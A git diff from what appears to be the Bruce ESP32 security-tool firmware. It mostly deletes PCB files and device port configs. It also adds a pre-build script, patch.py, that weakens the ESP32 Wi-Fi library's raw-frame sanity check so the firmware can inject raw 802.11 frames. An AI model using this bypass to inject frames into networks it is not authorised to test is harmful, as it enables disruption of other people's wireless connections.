Binary files a/media/pcbs/smoochie/back.png and /dev/null differ
diff --git a/media/pcbs/smoochie/front.png b/media/pcbs/smoochie/front.png
deleted file mode 100644
index aba46f01..00000000
Binary files a/media/pcbs/smoochie/front.png and /dev/null differ
diff --git a/media/pcbs/ultramarines/ultramarines_full_side.jpg b/media/pcbs/ultramarines/ultramarines_full_side.jpg
deleted file mode 100644
index 94b6f935..00000000
Binary files a/media/pcbs/ultramarines/ultramarines_full_side.jpg and /dev/null differ
diff --git a/media/pcbs/ultramarines/ultramarines_pcb_back.jpg b/media/pcbs/ultramarines/ultramarines_pcb_back.jpg
deleted file mode 100644
index 446f8afd..00000000
Binary files a/media/pcbs/ultramarines/ultramarines_pcb_back.jpg and /dev/null differ
diff --git a/media/pcbs/ultramarines/ultramarines_pcb_front.png b/media/pcbs/ultramarines/ultramarines_pcb_front.png
deleted file mode 100644
index f696e17d..00000000
Binary files a/media/pcbs/ultramarines/ultramarines_pcb_front.png and /dev/null differ
diff --git a/patch.py b/patch.py
new file mode 100644
index 00000000..0e07d31f
--- /dev/null
+++ b/patch.py
@@ -0,0 +1,27 @@
+from os.path import join, isfile
+from os import rename, remove
+import sys
+
+Import("env")
+
+FRAMEWORK_DIR = env.PioPlatform().get_package_dir("framework-arduinoespressif32")
+patchflag_path = join(FRAMEWORK_DIR, ".patched")
+board_mcu = env.BoardConfig()
+mcu = board_mcu.get("build.mcu", "")
+
+# patch file only if we didn't do it befored
+if not isfile(join(FRAMEWORK_DIR, ".patched")):
+ original_file = join(FRAMEWORK_DIR, "tools", "sdk", mcu, "lib", "libnet80211.a")
+ patched_file = join(FRAMEWORK_DIR, "tools", "sdk", mcu, "lib", "libnet80211.a.patched")
+
+ env.Execute("pio pkg exec -p toolchain-xtensa-%s -- xtensa-%s-elf-objcopy --weaken-symbol=s %s %s" % (mcu, mcu, original_file, patched_file))
+ if(isfile("%s.old"%(original_file))):
+ remove("%s.old"%(original_file))
+ rename(original_file,"%s.old"%(original_file))
+ env.Execute("pio pkg exec -p toolchain-xtensa-%s -- xtensa-%s-elf-objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check %s %s" % (mcu, mcu, patched_file, original_file))
+
+ def _touch(path):
+ with open(path, "w") as fp:
+ fp.write("")
+
+ env.Execute(lambda *args, **kwargs: _touch(patchflag_path))
diff --git a/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv b/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv
deleted file mode 100644
index fc00fdb8..00000000
Binary files a/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv and /dev/null differ
diff --git a/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv b/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv
deleted file mode 100644
index f9ebb7c2..00000000
Binary files a/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv and /dev/null differ
diff --git a/pcbs/Bruce_PCB_smoochie/README.md b/pcbs/Bruce_PCB_smoochie/README.md
deleted file mode 100644
index 1257b6be..00000000
--- a/pcbs/Bruce_PCB_smoochie/README.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bruce PCB
-
-This PCB was designed by Smoochiee
-
-IF YOU LIKE SMOOCHIEE'S PROJECT PLEASE CONSIDER DONATING TO HIS PAYPAL..ANY DONATION WILL BE USE FOR PCB AND TESTING OTHER MODULES
-
-https://www.paypal.com/paypalme/smoochieelee?country.x=PH&locale.x=en_US
diff --git a/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf b/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf
deleted file mode 100644
index a21b69c1..00000000
Binary files a/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf and /dev/null differ
diff --git a/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip b/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip
deleted file mode 100644
index fe28cdf1..00000000
Binary files a/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip and /dev/null differ
diff --git a/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip b/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip
deleted file mode 100644
index c13cacd7..00000000
Binary files a/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip and /dev/null differ
diff --git a/pcbs/M5Stick_Intermidiate_kr4k3n/README.md b/pcbs/M5Stick_Intermidiate_kr4k3n/README.md
deleted file mode 100644
index b1ba7a07..00000000
--- a/pcbs/M5Stick_Intermidiate_kr4k3n/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bruce PCB
-
-This PCB was designed by TH3_KR4K3N
-
diff --git a/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip b/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip
deleted file mode 100644
index ac822fd3..00000000
Binary files a/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip and /dev/null differ
diff --git a/pcbs/M5Stick_Intermidiate_ultramarines/README.md b/pcbs/M5Stick_Intermidiate_ultramarines/README.md
deleted file mode 100644
index 26b45e84..00000000
--- a/pcbs/M5Stick_Intermidiate_ultramarines/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bruce PCB
-
-This PCB was designed by ultramarines
-
diff --git a/pcbs/README.md b/pcbs/README.md
deleted file mode 100644
index f6214e76..00000000
--- a/pcbs/README.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# Bruce PCBs
-
-Here are some of the open-source community made PCBs, you can download them and print whenever you want to OR you can order directly with our sponsor PCBWAY just by clicking on the banner above:
-## Order here
-[![PCB from PCBWay](https://www.pcbway.com/project/img/images/frompcbway-1220.png)](https://www.pcbway.com/project/shareproject/Bruce_PCB_Smoochiee_d6a0284b.html)
-
-## Bruce PCB from Smoochiee:
-
-![Bruce PCB v1](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/Bruce_PCB_full.png)
-![Bruce PCB back](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/back.png)
-![Bruce PCB front](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/front.png)
diff --git a/platformio.ini b/platformio.ini
index 884f878f..c95b13a5 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -24,14 +24,21 @@ default_envs =
;uncomment to not use global dirs to avoid possible conflicts
;platforms_dir = .pio/platforms
;packages_dir = .pio/packages
-;build_cache_dir = .pio/buildcache
-;cache_dir = .pio/cache
+build_cache_dir = .pio/buildcache
+cache_dir = .pio/cache
extra_configs =
- ports/*/platformio.ini
+ boards/*.ini
+ boards/*/*.ini
[env]
-monitor_filters = esp32_exception_decoder
+platform = espressif32
+platform_packages =
+ framework-arduinoespressif32 @ https://github.com/bmorcelli/arduino-esp32/releases/download/2.0.17e/esp32-2.0.17e.zip
+monitor_filters = esp32_exception_decoder, send_on_enter, colorize
+framework = arduino
+board_build.variants_dir = boards
+board_build.filesystem = littlefs
build_flags =
-DBRUCE_VERSION='"dev"'
-DEEPROMSIZE=128
@@ -50,12 +57,16 @@ build_flags =
;-DRF_MODULE_GDO2=RADIOLIB_NC ; CC1101 pin GDO2
;-DRF_MODULE_INIT_STATUS=true
+extra_scripts =
+ pre:patch.py
+ post:build.py
+
lib_deps =
WireGuard-ESP32
IRremoteESP8266
Time
LibSSH-ESP32
- PCA9554
+ bakadave/PCA9554
https://github.com/bmorcelli/ESPping
https://github.com/rennancockles/PN532
https://github.com/rennancockles/MFRC522-I2C
@@ -69,8 +80,8 @@ lib_deps =
https://github.com/bmorcelli/rc-switch
ESP8266Audio
FFat
- ESP8266SAM
- TinyGPSPlus
+ earlephilhower/ESP8266SAM@^1.0.1
+ mikalhart/TinyGPSPlus
tinyu-zhao/FFT@^0.0.1
h2zero/NimBLE-Arduino@^1.4.0
nrf24/RF24 @ ^1.4.9
diff --git a/ports/CYD-2432S028/interface.h b/ports/CYD-2432S028/interface.h
deleted file mode 100644
index 863c20c0..00000000
--- a/ports/CYD-2432S028/interface.h
+++ /dev/null
@@ -1,136 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-/***************************************************************************************
-** Function name: _post_setup_gpio()
-** Location: main.cpp
-** Description: second stage gpio setup to make a few functions work
-***************************************************************************************/
-void _post_setup_gpio();
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/ESP-General/interface.h b/ports/ESP-General/interface.h
deleted file mode 100644
index 844098c6..00000000
--- a/ports/ESP-General/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/_New-Device-Model/platformio.ini b/ports/_New-Device-Model/platformio.ini
deleted file mode 100644
index 8f536120..00000000
--- a/ports/_New-Device-Model/platformio.ini
+++ /dev/null
@@ -1,153 +0,0 @@
-; PlatformIO Project Configuration File
-;
-; Build options: build flags, source filter
-; Upload options: custom upload port, speed and extra flags
-; Library options: dependencies, extra library storages
-; Advanced options: extra scripting
-;
-; Please visit documentation for the other options and examples
-; https://docs.platformio.org/page/projectconf.html
-
-[env:NewDeviceModel]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = m5stack-stamps3
-framework = arduino
-board_build.partitions = custom_8Mb.csv
-build_flags =
- ${env.build_flags}
- -Iports/_New-Device-Model
- -Os
- -DCORE_DEBUG_LEVEL=5
- ;-DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work
-
- -DNEW_DEVICE=1 ;key for new device,
- ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
-
- ;Features Enabled
- # Config to use IRQ and RST pins of PN532, if needed
- ;-DPN532_RF_REST=-1
- ;-DPN532_IRQ=-1
-
- ;FM Radio
- ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
- -DFM_RSTPIN=40
- ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
- ;Microphone
- ;-DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device
- -DPIN_CLK=43
- -DI2S_SCLK_PIN=43
- -DI2S_DATA_PIN=46
- -DPIN_DATA=46
-
- ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library
- ;-DHAS_RGB_LED=1 ;uncomment to enable
- -DRGB_LED=21
-
- ;Have RTC Chip
- ;-DHAS_RTC=1
-
- ;Speaker to run music, compatible with NS4168
- ;-DHAS_NS4168_SPKR=1 ;uncomment to enable
- -DBCLK=41
- -DWCLK=43
- -DDOUT=42
-
- ;Can run USB as HID
- ;-DUSB_as_HID=1 ;uncomment to enable
- -DBAD_TX=GROVE_SDA
- -DBAD_RX=GROVE_SCL
-
- ;Battery ADC read pin
- ;-DBAT_PIN=10
-
- ;Buttons configuration
- -DHAS_BTN=0
- -DBTN_ALIAS='"Ok"'
- -DBTN_PIN=0
- -DBTN_ACT=LOw
-
- ;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
-
- ;Infrared Led default pin and state
- -DIR_TX_PINS='{{"M5 IR Mod", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}'
- -DIR_RX_PINS='{{"M5 IR Mod", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}'
- -DLED=-1 ;NEED TO SET SOMETHING HERE, at least -1
- -DLED_ON=HIGH
- -DLED_OFF=LOW
-
- ;Radio Frequency (one pin modules) pin setting
- -DRF_TX_PINS='{{"M5 RF433T", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}'
- -DRF_RX_PINS='{{"M5 FR433R", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}'
-
- ;CC1101 SPI connection pins
- ; best connection pins for higher speed https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-reference/peripherals/spi_master.html#gpio-matrix-and-io-mux
- ;-DUSE_CC1101_VIA_SPI
- -DCC1101_GDO0_PIN=9
- -DCC1101_SS_PIN=10
- -DCC1101_MOSI_PIN=SPI_MOSI_PIN
- -DCC1101_SCK_PIN=SPI_SCK_PIN
- -DCC1101_MISO_PIN=SPI_MISO_PIN
- ;-DCC1101_GDO2_PIN=14 ; optional
-
- ; connections are the same as CC1101
- ;-DUSE_NRF24_VIA_SPI
- -DNRF24_CE_PIN=6
- -DNRF24_SS_PIN=7 ; chip select
- -DNRF24_MOSI_PIN=SPI_MOSI_PIN
- -DNRF24_SCK_PIN=SPI_SCK_PIN
- -DNRF24_MISO_PIN=SPI_MISO_PIN
-
- ;Font sizes, depending on device
- -DFP=1
- -DFM=2
- -DFG=3
-
- ;Screen Setup
- -DHAS_SCREEN=1
- -DROTATION=1
- -DWIDTH=240
- -DHEIGHT=135
- -DBACKLIGHT=38
- -DMINBRIGHT=160
-
- ;TFT_eSPI Setup
- -DUSER_SETUP_LOADED=1
- -DUSE_HSPI_PORT=1
- -DST7789_2_DRIVER=1
- -DTFT_RGB_ORDER=1
- -DTFT_WIDTH=135
- -DTFT_HEIGHT=240
- -DTFT_BACKLIGHT_ON=1
- -DTFT_BL=38
- -DTFT_RST=33
- -DTFT_DC=34
- -DTFT_MOSI=35
- -DTFT_SCLK=36
- -DTFT_CS=37
- -DTOUCH_CS=-1
- -DSMOOTH_FONT=1
- -DSPI_FREQUENCY=20000000
- -DSPI_READ_FREQUENCY=20000000
- -DSPI_TOUCH_FREQUENCY=2500000
-
- ;SD Card Setup pins
- -DSDCARD_CS=12
- -DSDCARD_SCK=40
- -DSDCARD_MISO=39
- -DSDCARD_MOSI=14
-
- ;Default I2C port
- -DGROVE_SDA=2
- -DGROVE_SCL=1
-
- -DSPI_SCK_PIN=12
- -DSPI_MOSI_PIN=11
- -DSPI_MISO_PIN=13
- -DSPI_SS_PIN=10
-
-lib_deps =
- ${env.lib_deps}
- xylopyrographer/LiteLED@^1.2.0
diff --git a/ports/lilygo-t-deck/interface.h b/ports/lilygo-t-deck/interface.h
deleted file mode 100644
index b4d3fa09..00000000
--- a/ports/lilygo-t-deck/interface.h
+++ /dev/null
@@ -1,130 +0,0 @@
-#pragma once
-#include
-#include
-
-#define HAS_KEYBOARD //has keyboard to use
-#define HAS_KEYBOARD_HID //has keyboard to use
-#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/lilygo-t-embed-cc1101/interface.h b/ports/lilygo-t-embed-cc1101/interface.h
deleted file mode 100644
index 047e398f..00000000
--- a/ports/lilygo-t-embed-cc1101/interface.h
+++ /dev/null
@@ -1,133 +0,0 @@
-#pragma once
-#include
-#include
-
-#define RFID125_RX_PIN 44
-#define RFID125_TX_PIN 43
-
-//#define HAS_KEYBOARD //has keyboard to use
-//#define HAS_KEYBOARD_HID //has keyboard to use
-//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
-
-/***************************************************************************************
-** Function name: _setup_gpio()
-** Location: main.cpp
-** Description: initial setup for the device
-***************************************************************************************/
-void _setup_gpio();
-
-
-/***************************************************************************************
-** Function name: getBattery()
-** location: display.cpp
-** Description: Delivers the battery value from 1-100
-***************************************************************************************/
-int getBattery();
-
-
-/*********************************************************************
-** Function: setBrightness
-** location: settings.cpp
-** set brightness value
-**********************************************************************/
-void _setBrightness(uint8_t brightval);
-
-
-/*********************************************************************
-** Function: checkNextPress
-** location: mykeyboard.cpp
-** Verifies Upper Btn to go to previous item
-**********************************************************************/
-bool checkNextPress();
-
-
-/*********************************************************************
-** Function: checkPrevPress
-** location: mykeyboard.cpp
-** Verifies Down Btn to go to next item
-**********************************************************************/
-bool checkPrevPress();
-
-
-/*********************************************************************
-** Function: checkSelPress
-** location: mykeyboard.cpp
-** Verifies if Select or OK was pressed
-**********************************************************************/
-bool checkSelPress();
-
-
-/*********************************************************************
-** Function: checkEscPress
-** location: mykeyboard.cpp
-** Verifies if Escape btn was pressed
-**********************************************************************/
-bool checkEscPress();
-
-
-/*********************************************************************
-** Function: checkAnyKeyPress
-** location: mykeyboard.cpp
-** Verifies id any of the keys was pressed
-**********************************************************************/
-bool checkAnyKeyPress();
-
-
-/*********************************************************************
-** Function: keyboard
-** location: mykeyboard.cpp
-** Starts keyboard to type data
-**********************************************************************/
-String keyboard(String mytext, int maxSize, String msg);
-
-
-/*********************************************************************
-** Function: powerOff
-** location: mykeyboard.cpp
-** Turns off the device (or try to)
-**********************************************************************/
-void powerOff();
-
-
-/*********************************************************************
-** Function: checkReboot
-** location: mykeyboard.cpp
-** Btn logic to tornoff the device (name is odd btw)
-**********************************************************************/
-void checkReboot();
-
-struct keyStroke { // DO NOT CHANGE IT!!!!!
- bool pressed=false;
- bool exit_key=false;
- bool fn = false;
- bool del = false;
- bool enter = false;
- uint8_t modifiers = 0;
- std::vector word;
- std::vector hid_keys;
- std::vector modifier_keys;
-};
-#if defined(HAS_KEYBOARD) // related functions
-
-/*********************************************************************
-** Function: _checkKeyPress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default
-
-/*********************************************************************
-** Function: _checkNextPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkNextPagePress();
-
-/*********************************************************************
-** Function: _checkPrevPagePress
-** location: mykeyboard.cpp
-** returns the key from the keyboard
-**********************************************************************/
-bool _checkPrevPagePress();
-
-#endif
diff --git a/ports/lilygo-t-embed-cc1101/platformio.ini b/ports/lilygo-t-embed-cc1101/platformio.ini
deleted file mode 100644
index 3b4ff79e..00000000
--- a/ports/lilygo-t-embed-cc1101/platformio.ini
+++ /dev/null
@@ -1,345 +0,0 @@
-; PlatformIO Project Configuration File
-;
-; Build options: build flags, source filter
-; Upload options: custom upload port, speed and extra flags
-; Library options: dependencies, extra library storages
-; Advanced options: extra scripting
-;
-; Please visit documentation for the other options and examples
-; https://docs.platformio.org/page/projectconf.html
-
-#################################### EStart OF LILYGO MODELS #######################################
-[env:lilygo-t-embed-cc1101]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = lilygo-t-display-s3
-framework = arduino
-board_build.partitions = custom_16Mb.csv
-build_src_filter =${env.build_src_filter} +<../ports/lilygo-t-embed-cc1101>
-build_flags =
- ${env.build_flags}
- -Iports/lilygo-t-embed-cc1101
- -Os
- -DBOARD_HAS_PSRAM
- -mfix-esp32-psram-cache-issue
- -mfix-esp32-psram-cache-strategy=memw
- -DCORE_DEBUG_LEVEL=5
- -DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work
- -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device
-
- -DT_EMBED=1 ;key for new device,
- -DT_EMBED_1101=1 ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
- -DBOARD_LORA_SW1=47
- -DBOARD_LORA_SW0=48
-
- # Config to use IRQ and RST pins of PN532, if needed
- -DPN532_RF_REST=45
- -DPN532_IRQ=17
-
- ;Features Enabled
- ;FM Radio
- ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
- -DFM_RSTPIN=40
- ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
- ;Microphone
- -DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device
- -DPIN_CLK=39
- -DI2S_SCLK_PIN=39
- -DI2S_DATA_PIN=42
- -DPIN_DATA=42
-
- ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library
- ;-DHAS_RGB_LED=1 ;uncomment to enable
- -DRGB_LED=21
-
- ;Have RTC Chip
- ;-DHAS_RTC=1
-
- ; SERIAL (GPS) dedicated pins
- -DSERIAL_TX=43 ;may be wrong
- -DSERIAL_RX=44
-
- ;Speaker to run music, compatible with NS4168
- -DHAS_NS4168_SPKR=1 ;uncomment to enable
- -DBCLK=46
- -DWCLK=40
- -DDOUT=7
- -DMCLK=39 # Microphone CLK
-
- ;Can run USB as HID
- -DUSB_as_HID=1 ;uncomment to enable
- ;-DBAD_TX=GROVE_SDA
- ;-DBAD_RX=GROVE_SCL
-
- ;Battery ADC read pin
- ;-DBAT_PIN=10
-
- ;BQ27220 Fuel Gauge
- -DBQ27220_I2C_ADDRESS=0x55
- -DBQ27220_I2C_SDA=GROVE_SDA
- -DBQ27220_I2C_SCL=GROVE_SCL
-
- ;Buttons configuration
- -DHAS_BTN=1
- -DBTN_ALIAS='"Mid"'
- -DSEL_BTN=0
- -DUP_BTN=-1 ;Dont have btns, use a encoder
- -DDW_BTN=-1 ;Dont have btns, use a encoder
- -DBK_BTN=6
- -DBTN_ACT=LOW
-
- -DENCODER_INA=4
- -DENCODER_INB=5
- -DENCODER_KEY=0
-
- ;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
-
- ;Infrared Led default pin and state
- -DIR_TX_PINS='{{"Default", 2}, {"Pin 43", 43}, {"Pin 44", 44}}'
- -DIR_RX_PINS='{{"Default", 1}, {"Pin 43", 43}, {"Pin 44", 44}}'
